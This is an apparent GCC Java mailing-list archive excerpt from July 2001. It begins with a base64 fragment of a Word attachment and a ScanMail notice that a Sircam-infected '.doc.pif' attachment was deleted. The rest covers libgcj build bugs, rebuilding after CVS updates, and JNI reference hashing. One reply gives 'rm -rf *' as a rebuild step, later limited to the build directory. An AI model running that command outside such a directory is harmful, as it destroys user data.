AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAIAAAADAAAABAAAAAUAAAAGAAAA BwAAAAgAAAAJAAAACgAAAAsAAAAMAAAADQAAAA4AAAAPAAAAEAAAABEAAAASAAAAEwAAABQA AAAVAAAAFgAAABcAAAAYAAAAGQAAABoAAAAbAAAAHAAAAB0AAAAeAAAAHwAAACAAAAAhAAAA IgAAACMAAAAkAAAAJQAAACYAAAAnAAAAKAAAACkAAAAqAAAAKwAAACwAAAAtAAAALgAAAC8A AAAwAAAAMQAAADIAAAAzAAAANAAAADUAAAA2AAAANwAAADgAAAA5AAAAOgAAADsAAAA8AAAA PQAAAD4AAAA/AAAAQAAAAEEAAABCAAAAQwAAAEQAAABFAAAA/v///0cAAABIAAAASQAAAEoA AABLAAAATAAAAE0AAABOAAAATwAAAFAAAABRAAAAUgAAAFMAAABUAAAAVQAAAFYAAABXAAAA WAAAAFkAAABaAAAAWwAAAFwAAABdAAAAXgAAAF8AAABgAAAAYQAAAGIAAABjAAAAZAAAAGUA AABmAAAAZwAAAGgAAABpAAAAagAAAGsAAABsAAAAbQAAAG4AAABvAAAAcAAAAHEAAAByAAAA cwAAAP7///91AAAAdgAAAHcAAAB4AAAAeQAAAHoAAAB7AAAAfAAAAH0AAAB+AAAAfwAAAIAA AACBAAAAggAAAIMAAACEAAAAhQAAAIYAAACHAAAAiAAAAIkAAACKAAAAiwAAAIwAAACNAAAA jgAAAI8AAAD+////kQAAAJIAAACTAAAAlAAAAJUAAACWAAAAlwAAAP7///+ZAAAAmgAAAJsA AACcAAAAnQAAAJ4AAACfAAAA/v////3////9////owAAAP7////+/////v////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// /////////////////////////////////////1IAbwBvAHQAIABFAG4AdAByAHkAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWAAUB//////////8DAAAA BgkCAAAAAADAAAAAAAAARgAAAAAAAAAAAAAAAMD7BELRE8EBpQAAAIAAAAAAAAAARABhAHQA YQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAoAAgH///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AABGAAAA3VsAAAAAAAAxAFQAYQBiAGwAZQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgACAAEAAAD//////////wAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAHQAAABTNgAAAAAAAFcAbwByAGQARABvAGMAdQBtAGUA bgB0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaAAIBBgAAAAUA AAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB6KAAAAAAAA BQBTAHUAbQBtAGEAcgB5AEkAbgBmAG8AcgBtAGEAdABpAG8AbgAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAACgAAgH///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAACQAAAAABAAAAAAAAAFAEQAbwBjAHUAbQBlAG4AdABTAHUAbQBtAGEAcgB5AEkA bgBmAG8AcgBtAGEAdABpAG8AbgAAAAAAAAAAAAAAOAACAQQAAAD//////////wAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJgAAAAAEAAAAAAAAAEAQwBvAG0AcABPAGIA agAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAIB AgAAAAcAAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGsA AAAAAAAATwBiAGoAZQBjAHQAUABvAG8AbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAABYAAQD///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAMD7 BELRE8EBwPsEQtETwQEAAAAAAAAAAAAAAAABAAAA/v////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////wEA /v8DCgAA/////wYJAgAAAAAAwAAAAAAAAEYZAAAARG9jdW1lbnRvIE1pY3Jvc29mdCBXb3Jk AAoAAABNU1dvcmREb2MAEAAAAFdvcmQuRG9jdW1lbnQuOAD0ObJxAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= ------6D8D277C_Outlook_Express_message_boundary From java-return-6572-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 24 06:25:41 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 29984 invoked by alias); 24 Jul 2001 06:25:41 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 29921 invoked from network); 24 Jul 2001 06:25:36 -0000 Received: from unknown (HELO fw06.omnisource.com) (208.153.194.222) by sourceware.cygnus.com with SMTP; 24 Jul 2001 06:25:36 -0000 Received: from 128.5.18.0 by fw06.omnisource.com (InterScan E-Mail VirusWall NT); Tue, 24 Jul 2001 01:25:35 -0500 Received: by FW00 with Internet Mail Service (5.5.2650.21) id ; Tue, 24 Jul 2001 01:25:33 -0500 Message-ID: From: System Attendant To: "'java@gcc.gnu.org'" Subject: ScanMail Message: To Recipient virus found and action taken. Date: Tue, 24 Jul 2001 01:25:32 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C11409.7141938E" This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C11409.7141938E Content-Type: text/plain ScanMail for Microsoft Exchange has detected virus-infected attachment(s). Sender = carolina Recipient(s) = java@gcc.gnu.org Subject = traba del queso Scanning Time = 07/24/2001 01:25:31 Action on virus found: The attachment traba del queso.doc.pif exists TROJ_SIRCAM.A virus. ScanMail has Deleted it. Warning to recipient. ScanMail has detected a virus. 07/24/200101:25 AM carolina traba del queso [traba del queso.doc.pif/Deleted] ------_=_NextPart_001_01C11409.7141938E Content-Type: text/html ScanMail Message: To Recipient virus found and action taken.

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = carolina
Recipient(s) = java@gcc.gnu.org
Subject = traba del queso
Scanning Time = 07/24/2001 01:25:31

Action on virus found:
The attachment traba del queso.doc.pif exists TROJ_SIRCAM.A virus. ScanMail has Deleted it.

Warning to recipient. ScanMail has detected a virus.
07/24/200101:25 AM
carolina
traba del queso
[traba del queso.doc.pif/Deleted]

------_=_NextPart_001_01C11409.7141938E-- From java-return-6573-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 24 09:40:42 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 28378 invoked by alias); 24 Jul 2001 09:40:42 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 28207 invoked from network); 24 Jul 2001 09:40:35 -0000 Received: from unknown (HELO mail.redhat.com) (199.183.24.239) by sourceware.cygnus.com with SMTP; 24 Jul 2001 09:40:35 -0000 Received: from saturn.hollstein.net (t2.redhat.com [199.183.24.243]) by mail.redhat.com (8.11.0/8.8.7) with ESMTP id f6O9YAg15504; Tue, 24 Jul 2001 05:34:11 -0400 Received: from gmx.net (saturn.hollstein.net [192.168.5.11]) by saturn.hollstein.net (8.11.2/8.11.2) with ESMTP id f6O9ZCa15786; Tue, 24 Jul 2001 11:35:12 +0200 Message-ID: <3B5D4150.870706EC@gmx.net> Date: Tue, 24 Jul 2001 11:35:12 +0200 From: Manfred Hollstein Reply-To: manfred.h@gmx.net X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.3-12 i686) X-Accept-Language: en-US, en-GB, en, de MIME-Version: 1.0 To: gcc-bugs@gcc.gnu.org, java@gcc.gnu.org Subject: [java, 3.0.1]: BUG: Unresolved symbols with -O3 and higher Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi there, I just reported my test results of a tree from the gcc-3_0-branch as of yesterday. I defined GCJFLAGS="-O3 -march=i686 -fstrict-aliasing" to build libgcj with some higher optimization enabled (among other environment vars to control C and C++ opts). Everything went smooth until linking jv-convert with the newly created libgcj.so; this fails with: ./.libs/libgcj.so: undefined reference to `java::util::Hashtable::getEntry(java::util::Map__U24_Entry*)' ./.libs/libgcj.so: undefined reference to `java::util::HashMap::getEntry(java::util::Map__U24_Entry*)' ./.libs/libgcj.so: undefined reference to `java::util::SubList::checkMod()' collect2: ld returned 1 exit status These symbols are referenced in the following files: ./java/util/.libs/Hashtable.o: U _ZN4java4util9Hashtable8getEntryEPNS0_14Map__U24_EntryE ./java/util/Hashtable.o: U _ZN4java4util9Hashtable8getEntryEPNS0_14Map__U24_EntryE ./java/util/.libs/HashMap.o: U _ZN4java4util7HashMap8getEntryEPNS0_14Map__U24_EntryE ./java/util/HashMap.o: U _ZN4java4util7HashMap8getEntryEPNS0_14Map__U24_EntryE ./java/util/.libs/AbstractList.o: U _ZN4java4util7SubList8checkModEv ./java/util/AbstractList.o: U _ZN4java4util7SubList8checkModEv Funnily, the methods in question are used _and_ defined (in Java source code, but obviously not emitted) in the corresponding .java file. Using "-O2" (ie. no automatic function inlining) doesn't show this problem. Cheers. l8er manfred From java-return-6574-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 24 10:47:24 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 2519 invoked by alias); 24 Jul 2001 10:47:23 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 2496 invoked from network); 24 Jul 2001 10:47:22 -0000 Received: from unknown (HELO mta3-rme.xtra.co.nz) (203.96.92.13) by sourceware.cygnus.com with SMTP; 24 Jul 2001 10:47:22 -0000 Received: from kiteless ([210.54.222.141]) by mta3-rme.xtra.co.nz with ESMTP id <20010724104721.YKXY5720334.mta3-rme.xtra.co.nz@kiteless> for ; Tue, 24 Jul 2001 22:47:21 +1200 Date: Tue, 24 Jul 2001 22:49:30 +1200 Content-Type: text/plain; format=flowed; charset=us-ascii Mime-Version: 1.0 (Apple Message framework v388) From: Bryce McKinlay To: java@gcc.gnu.org X-Mailer: Apple Mail (2.388) Content-Transfer-Encoding: 7bit Subject: Synchronization article on developerWorks Message-Id: <20010724104721.YKXY5720334.mta3-rme.xtra.co.nz@kiteless> Here's an interesting article about the costs of syncronization. Especially interesting because GCJ gets mentioned in the performance tests: http://www-106.ibm.com/developerworks/java/library/j-threads1.html regards Bryce. From java-return-6575-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 24 12:10:51 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 15149 invoked by alias); 24 Jul 2001 12:10:50 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 15111 invoked from network); 24 Jul 2001 12:10:49 -0000 Received: from unknown (HELO owls-house.tapsellferrier.co.uk) (195.7.242.237) by sourceware.cygnus.com with SMTP; 24 Jul 2001 12:10:49 -0000 Received: from muddy-patch.tapsellferrier.co.uk ([195.7.242.227] helo=tapsellferrier.co.uk) by owls-house.tapsellferrier.co.uk with smtp (Exim 3.12 #1 (Debian)) id 15P11T-0003kY-00 for ; Tue, 24 Jul 2001 13:10:47 +0100 Received: from tf-Message_Server by tapsellferrier.co.uk with Novell_GroupWise; Tue, 24 Jul 2001 13:13:11 +0100 Message-Id: X-Mailer: Novell GroupWise 5.2 Date: Tue, 24 Jul 2001 13:02:52 +0100 From: "Nic Ferrier" To: java@gcc.gnu.org Subject: Rebuilding after update Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline I'm after details of the best way to rebuild GCC/GCJ after updating my cvs copy. Is there a defined procedure for doing this? or is it just: configure ... make bootstrap make make install Nic From java-return-6576-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 24 12:15:06 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 18016 invoked by alias); 24 Jul 2001 12:15:05 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 17937 invoked from network); 24 Jul 2001 12:15:00 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (195.224.55.237) by sourceware.cygnus.com with SMTP; 24 Jul 2001 12:15:00 -0000 Received: from cuddles.cambridge.redhat.com (cuddles.cambridge.redhat.com [172.16.18.86]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 1F12AABAA1; Tue, 24 Jul 2001 13:15:00 +0100 (BST) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.0/8.11.0) id f6OCEuR00698; Tue, 24 Jul 2001 13:14:56 +0100 X-Authentication-Warning: cuddles.cambridge.redhat.com: aph set sender to aph@cambridge.redhat.com using -f From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15197.26304.457497.16908@cuddles.cambridge.redhat.com> Date: Tue, 24 Jul 2001 13:14:56 +0100 (BST) To: "Nic Ferrier" Cc: java@gcc.gnu.org Subject: Rebuilding after update In-Reply-To: References: X-Mailer: VM 6.75 under Emacs 20.7.1 Doing a "make bootstrap" and a "make" sounds kinda excessive to me. For test builds I just do a "make" and a "make install". Andrew. From java-return-6577-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 24 12:19:14 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 20068 invoked by alias); 24 Jul 2001 12:19:13 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 20037 invoked from network); 24 Jul 2001 12:19:11 -0000 Received: from unknown (HELO owls-house.tapsellferrier.co.uk) (195.7.242.237) by sourceware.cygnus.com with SMTP; 24 Jul 2001 12:19:11 -0000 Received: from muddy-patch.tapsellferrier.co.uk ([195.7.242.227] helo=tapsellferrier.co.uk) by owls-house.tapsellferrier.co.uk with smtp (Exim 3.12 #1 (Debian)) id 15P19X-0003kj-00 for ; Tue, 24 Jul 2001 13:19:07 +0100 Received: from tf-Message_Server by tapsellferrier.co.uk with Novell_GroupWise; Tue, 24 Jul 2001 13:21:31 +0100 Message-Id: X-Mailer: Novell GroupWise 5.2 Date: Tue, 24 Jul 2001 13:09:54 +0100 From: "Nic Ferrier" To: java@gcc.gnu.org Subject: Re: Rebuilding after update Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline >>> Andrew Haley 24-Jul-01 1:14:56 PM >>> Doing a "make bootstrap" and a "make" sounds kinda excessive to me. For test builds I just do a "make" and a "make install". Does that work when the autoconf/make stuff has changed? ie: can I do: cvs update -d configure ... make make install And have everything work correctly? Nic From java-return-6578-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 24 13:29:10 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 1200 invoked by alias); 24 Jul 2001 13:29:09 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 1038 invoked from network); 24 Jul 2001 13:29:00 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (195.224.55.237) by sourceware.cygnus.com with SMTP; 24 Jul 2001 13:29:00 -0000 Received: from cuddles.cambridge.redhat.com (cuddles.cambridge.redhat.com [172.16.18.86]) by executor.cambridge.redhat.com (Postfix) with ESMTP id C1DBCABAA1; Tue, 24 Jul 2001 14:28:59 +0100 (BST) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.0/8.11.0) id f6ODSxx00750; Tue, 24 Jul 2001 14:28:59 +0100 X-Authentication-Warning: cuddles.cambridge.redhat.com: aph set sender to aph@cambridge.redhat.com using -f From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15197.30747.666614.376831@cuddles.cambridge.redhat.com> Date: Tue, 24 Jul 2001 14:28:59 +0100 (BST) To: "Nic Ferrier" Cc: java@gcc.gnu.org Subject: Re: Rebuilding after update In-Reply-To: References: X-Mailer: VM 6.75 under Emacs 20.7.1 Nic Ferrier writes: > >>> Andrew Haley 24-Jul-01 1:14:56 PM >>> > > Doing a "make bootstrap" and a "make" sounds > kinda excessive to me. > For test builds I just do a "make" and a "make install". > > Does that work when the autoconf/make stuff has changed? > > ie: can I do: > > cvs update -d Add here: rm -rf * > configure ... > make > make install > > And have everything work correctly? Yes. Andrew. From java-return-6579-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 24 13:36:05 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 4891 invoked by alias); 24 Jul 2001 13:36:03 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 4766 invoked from network); 24 Jul 2001 13:35:59 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (195.224.55.237) by sourceware.cygnus.com with SMTP; 24 Jul 2001 13:35:59 -0000 Received: from cuddles.cambridge.redhat.com (cuddles.cambridge.redhat.com [172.16.18.86]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 63625ABAA1; Tue, 24 Jul 2001 14:35:55 +0100 (BST) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.0/8.11.0) id f6ODZt700795; Tue, 24 Jul 2001 14:35:55 +0100 X-Authentication-Warning: cuddles.cambridge.redhat.com: aph set sender to aph@cambridge.redhat.com using -f From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15197.31163.312332.76533@cuddles.cambridge.redhat.com> Date: Tue, 24 Jul 2001 14:35:55 +0100 (BST) To: "Nic Ferrier" , java@gcc.gnu.org Subject: Re: Rebuilding after update In-Reply-To: <15197.30747.666614.376831@cuddles.cambridge.redhat.com> References: <15197.30747.666614.376831@cuddles.cambridge.redhat.com> X-Mailer: VM 6.75 under Emacs 20.7.1 Andrew Haley writes: > Nic Ferrier writes: > > >>> Andrew Haley 24-Jul-01 1:14:56 PM >>> > > > > Doing a "make bootstrap" and a "make" sounds > > kinda excessive to me. > > For test builds I just do a "make" and a "make install". > > > > Does that work when the autoconf/make stuff has changed? > > > > ie: can I do: > > > > cvs update -d > > Add here: rm -rf * In the build dir, of course. Don't build in the source dir. Andrew. From java-return-6580-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 24 17:22:52 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 22459 invoked by alias); 24 Jul 2001 17:22:51 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 22392 invoked from network); 24 Jul 2001 17:22:44 -0000 Received: from unknown (HELO cc730106-b.taylor1.mi.home.com) (24.13.63.84) by sourceware.cygnus.com with SMTP; 24 Jul 2001 17:22:44 -0000 Received: from localhost (jsturm@localhost) by cc730106-b.taylor1.mi.home.com (8.9.3/8.9.3) with ESMTP id NAA15535; Tue, 24 Jul 2001 13:27:55 -0400 X-Authentication-Warning: mars.deadcafe.org: jsturm owned process doing -bs Date: Tue, 24 Jul 2001 13:27:55 -0400 (EDT) From: Jeff Sturm X-Sender: jsturm@mars.deadcafe.org To: Manfred Hollstein cc: gcc-bugs@gcc.gnu.org, java@gcc.gnu.org Subject: Re: [java, 3.0.1]: BUG: Unresolved symbols with -O3 and higher In-Reply-To: <3B5D4150.870706EC@gmx.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Tue, 24 Jul 2001, Manfred Hollstein wrote: > Funnily, the methods in question are used _and_ defined (in Java source > code, but obviously not emitted) in the corresponding .java file. Using > "-O2" (ie. no automatic function inlining) doesn't show this problem. "-fkeep-inline-functions" should be a viable workaround. I'll argue this should be the default for gcj, due to reflection. In fact the behavior of the program below changes when compiled with/without -fkeep-inline-functions: import java.lang.reflect.Method; public class Junk { private void junk() { System.out.println("junk"); } public static void main(String[] args) { try { Junk junk = new Junk(); Method[] meths = junk.getClass().getDeclaredMethods(); for (int n = 0; n < meths.length; n++) System.out.println(meths[n]); } catch (Throwable t) { t.printStackTrace(); } } } From java-return-6581-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 24 17:42:56 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 29978 invoked by alias); 24 Jul 2001 17:42:53 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 29938 invoked from network); 24 Jul 2001 17:42:49 -0000 Received: from unknown (HELO cc730106-b.taylor1.mi.home.com) (24.13.63.84) by sourceware.cygnus.com with SMTP; 24 Jul 2001 17:42:49 -0000 Received: from localhost (jsturm@localhost) by cc730106-b.taylor1.mi.home.com (8.9.3/8.9.3) with ESMTP id NAA15548; Tue, 24 Jul 2001 13:47:29 -0400 X-Authentication-Warning: mars.deadcafe.org: jsturm owned process doing -bs Date: Tue, 24 Jul 2001 13:47:29 -0400 (EDT) From: Jeff Sturm X-Sender: jsturm@mars.deadcafe.org To: Andrew Haley cc: Nic Ferrier , java@gcc.gnu.org Subject: Re: Rebuilding after update In-Reply-To: <15197.31163.312332.76533@cuddles.cambridge.redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Tue, 24 Jul 2001, Andrew Haley wrote: > Andrew Haley writes: > > Nic Ferrier writes: > > > ie: can I do: > > > > > > cvs update -d > > > > Add here: rm -rf * > > In the build dir, of course. Don't build in the source dir. I often "rm -rf libjava" in $TARGET_SUBDIR, then "make" again. This saves me a lot of time when updating the runtime only. BTW, the mainline libgcj seems to work fine with the 3.0.1 compiler. I use them together sometimes when I want a stable compiler but the latest runtime features, especially when the trunk is unstable. Jeff From java-return-6582-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 24 18:21:35 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 22616 invoked by alias); 24 Jul 2001 18:21:34 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 22546 invoked from network); 24 Jul 2001 18:21:30 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 24 Jul 2001 18:21:30 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id MAA27871; Tue, 24 Jul 2001 12:21:26 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id MAA13198; Tue, 24 Jul 2001 12:47:41 -0600 To: Jeff Sturm Cc: "Marcus G. Daniels" , java@gcc.gnu.org Subject: Re: JNI global refs References: X-Zippy: I LIKE Aisle 7a. X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 24 Jul 2001 12:47:39 -0600 In-Reply-To: Jeff Sturm's message of "Thu, 28 Jun 2001 17:42:42 -0400 (EDT)" Message-ID: <87zo9u17w4.fsf@creche.redhat.com> Lines: 33 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Jeff" == Jeff Sturm writes: Jeff> I suspect the problem is with using a Hashtable. Suppose we Jeff> have a class: Jeff> class WillBreakJNI { Jeff> public int hashCode() { return 0; } Jeff> public boolean equals(Object o) { return true; } Jeff> } Jeff> The ref_table will store only one instance of this class. Jeff> I think ref_table should hash its objects by address, or something... I've been thinking about this recently. I agree with what you say. We need to use object identity, and not equals() or hashCode(), as the basis for comparisons here. One way we could do this is to make a copy of Hashtable which uses, say, System.identityHashCode and `=='. This would mean copying a lot of code though. I'm reluctant to do this. Another way to do it would be to introduce a new wrapper object which we would use. This means more overhead for each JNI reference. Yet another way would be to write our own hash table in C++. This has the benefit that we wouldn't have to have Integer objects floating around; we could simply use ints in a parallel table. The problem with this approach is that we'd have to teach the GC how to find this memory. Hmm -- maybe the best thing to do is use an Object[] as the underlying hash table. This would accomplish that goal. Tom From java-return-6583-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 24 18:33:45 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 477 invoked by alias); 24 Jul 2001 18:33:45 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 382 invoked from network); 24 Jul 2001 18:33:42 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 24 Jul 2001 18:33:42 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id MAA30115; Tue, 24 Jul 2001 12:33:38 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id MAA13324; Tue, 24 Jul 2001 12:59:55 -0600 To: Bryce McKinlay Cc: java@gcc.gnu.org Subject: Re: Synchronization article on developerWorks References: 